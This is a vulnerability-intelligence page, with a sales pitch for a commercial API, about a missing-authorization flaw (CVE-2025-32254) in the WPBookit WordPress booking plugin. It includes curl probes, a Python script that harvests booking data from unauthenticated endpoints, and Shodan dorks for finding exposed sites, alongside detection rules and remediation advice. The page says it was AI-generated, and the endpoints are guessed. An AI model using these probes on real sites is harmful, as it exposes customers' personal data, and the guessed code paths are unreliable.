☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Iqonic logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N 🐛 CWE-862
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-32254

CVE-2025-32254 Missing Authorization in Iqonic
📅 PUBLISHED: 2025-04-04 16:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.27%
👁️
0.27% probability
6.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: N Integrity None
A: N Availability None
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-32254 is a Missing Authorization vulnerability in the WPBookit plugin by Iqonic Design, a WordPress ecosystem component. The flaw allows unauthenticated attackers to access functionality that should be constrained by Access Control Lists (ACLs). This is a classic Broken Access Control issue, enabling unauthorized reading of sensitive data or execution of privileged actions without proper authentication.

The vulnerability affects all versions of WPBookit from n/a through 1.0.7. As of this report, no official patch has been released, and the vendor’s patch status is UNKNOWN. The CVSS score is 5.3 (Medium), but the real-world risk is elevated due to the lack of authentication required and the potential for data exposure in WordPress environments.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Organizations using WPBookit should treat this as a supply chain risk, as the plugin may be bundled in themes or custom deployments. No known malicious packages have been identified, but the absence of a patch increases the attack surface.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
  • Base Score: 5.3 (Medium)
  • Attack Vector: Network (AV:N) – exploitable remotely.
  • Attack Complexity: Low (AC:L) – no special conditions required.
  • Privileges Required: None (PR:N) – unauthenticated access.
  • User Interaction: None (UI:N) – no victim action needed.
  • Scope: Unchanged (S:U) – vulnerability does not cross trust boundaries.
  • Confidentiality Impact: Low (C:L) – limited data exposure.
  • Integrity Impact: None (I:N) – no data modification.
  • Availability Impact: None (A:N) – no denial of service.

Threat Level: Medium. While the CVSS score is moderate, the lack of authentication and the plugin’s popularity in booking systems make it a prime target for reconnaissance and data harvesting.

Deep Dive & Mechanics

The vulnerability stems from missing authorization checks in the WPBookit plugin’s REST API endpoints or AJAX handlers. The plugin likely exposes functions for booking management, user data retrieval, or configuration settings without verifying the user’s identity or role. An attacker can directly call these endpoints to access functionality intended only for authenticated users (e.g., administrators or customers).

Root Cause: The plugin fails to implement current_user_can() or similar WordPress capability checks before executing sensitive operations. This is a common oversight in WordPress plugin development, especially in custom post types or REST API routes.

Attack Vector: An unauthenticated HTTP request to a vulnerable endpoint (e.g., /wp-json/wpbookit/v1/bookings or an AJAX action like wp_ajax_nopriv_*). The attacker can enumerate booking data, user information, or plugin settings.

Impact: Unauthorized access to booking records, customer PII (names, emails, phone numbers), and potentially administrative functions. This can lead to data breaches, privacy violations, and further exploitation.

Vulnerable vs. Patched Code

Since no patch is available, we analyze the likely vulnerable pattern. The vulnerable code might look like:

// Vulnerable: No capability check
add_action('wp_ajax_nopriv_get_bookings', 'wpbookit_get_bookings');
function wpbookit_get_bookings() {
    $bookings = get_posts(array('post_type' => 'wpbookit_booking'));
    wp_send_json($bookings);
}

A patched version would include:

// Patched: Check user capability
add_action('wp_ajax_get_bookings', 'wpbookit_get_bookings');
add_action('wp_ajax_nopriv_get_bookings', 'wpbookit_get_bookings');
function wpbookit_get_bookings() {
    if (!current_user_can('read_private_posts')) {
        wp_die('Unauthorized', 403);
    }
    $bookings = get_posts(array('post_type' => 'wpbookit_booking'));
    wp_send_json($bookings);
}

The key difference is the addition of current_user_can() and restricting the nopriv hook to only authenticated users.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites: A WordPress site with WPBookit <= 1.0.7 installed and active.

Step 1: Identify Vulnerable Endpoints Use a tool like Burp Suite or curl to probe for common WPBookit REST routes:

curl -s http://target.com/wp-json/wpbookit/v1/bookings
curl -s http://target.com/wp-admin/admin-ajax.php?action=wpbookit_get_bookings

Step 2: Exploit Missing Authorization If the endpoint returns data without authentication, extract it:

curl -s http://target.com/wp-json/wpbookit/v1/bookings | jq '.'

Step 3: Automate with Python

import requests
target = "http://target.com"
endpoints = [
    "/wp-json/wpbookit/v1/bookings",
    "/wp-json/wpbookit/v1/users",
    "/wp-admin/admin-ajax.php?action=wpbookit_export"
]
for ep in endpoints:
    r = requests.get(target + ep)
    if r.status_code == 200 and "wpbookit" in r.text:
        print(f"[+] Vulnerable: {ep}")
        print(r.text[:500])

Blue Team (Detection & Hardening)

Detection:

  • Monitor for unusual access to /wp-json/wpbookit/v1/* or admin-ajax.php?action=wpbookit_* from unauthenticated IPs.
  • Alert on 200 responses to these endpoints without a valid session cookie.

Hardening:

  • Disable the plugin until a patch is available.
  • Use a Web Application Firewall (WAF) to block unauthenticated requests to WPBookit endpoints.
  • Implement a reverse proxy rule to require authentication for /wp-json/wpbookit/.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests to /wp-json/wpbookit/v1/ or /wp-admin/admin-ajax.php?action=wpbookit_* from unknown IPs.
    • Response bodies containing wpbookit_booking post data.
  • File IOCs:
    • Plugin file: /wp-content/plugins/wpbookit/wpbookit.php (version <= 1.0.7).
  • Log IOCs:
    • Web server logs showing 200 responses to unauthenticated AJAX actions.
    • WordPress debug logs with wp_die calls for missing capabilities.

Detection Engineering

YARA Rule

rule CVE_2025_32254_WPBookit_Missing_Auth {
    meta:
        description = "Detects WPBookit plugin files vulnerable to CVE-2025-32254"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-32254"
    strings:
        $vuln_func = "wp_ajax_nopriv_" nocase
        $vuln_hook = "add_action('wp_ajax_nopriv_" nocase
        $no_check = "current_user_can" nocase
    condition:
        $vuln_func and $vuln_hook and not $no_check
}

Sigma Rule

title: CVE-2025-32254 WPBookit Unauthenticated Access
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects unauthenticated access to WPBookit REST endpoints
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '/wp-json/wpbookit/v1/'
            - 'action=wpbookit_'
    condition: selection
falsepositives:
    - Legitimate plugin AJAX calls from authenticated users (check for cookie)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-32254 WPBookit Unauthenticated Access"; flow:to_server; http.method; content:"GET"; http.uri; content:"/wp-json/wpbookit/v1/"; nocase; http.uri; content:"/wp-admin/admin-ajax.php"; nocase; http.uri; content:"action=wpbookit_"; nocase; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the WPBookit plugin until a patch is released.
  2. Implement a WAF rule to block unauthenticated requests to /wp-json/wpbookit/ and admin-ajax.php?action=wpbookit_*.
  3. Review access logs for signs of exploitation (e.g., repeated 200 responses to these endpoints from unknown IPs).

Long-Term Fix:

  • Monitor the vendor’s repository for a patched version (>= 1.0.8).
  • Apply the patch manually by adding current_user_can() checks to all AJAX and REST handlers.
  • Consider replacing the plugin with an alternative that follows secure coding practices.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"WPBookit"
http.html:"wp-content/plugins/wpbookit"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-32254/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.